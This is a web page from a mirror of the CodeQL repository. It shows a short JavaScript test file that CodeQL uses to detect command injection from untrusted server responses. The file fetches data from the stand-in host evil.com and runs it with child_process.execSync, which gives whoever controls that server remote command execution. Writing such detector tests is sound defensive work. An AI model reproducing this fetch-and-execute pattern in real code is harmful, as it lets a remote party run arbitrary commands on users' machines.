codeql/third-party-command-injection.js at yo-h/java15 - codeql - Gitea: Git with a cup of tea

hohn/codeql

mirror of https://github.com/github/codeql.git synced 2025-12-18 01:33:15 +01:00

Files

Esben Sparre Andreasen f7bfc472c1 JS: treat server responses as untrusted for command injections

2019-09-11 09:38:18 +02:00

9 lines

186 B

JavaScript

Raw Permalink Blame History

 let https = require("https"),
     cp = require("child_process");
 https.get("https://evil.com/getCommand", res =>
     res.on("data", command => {
         cp.execSync(command);
     })
 );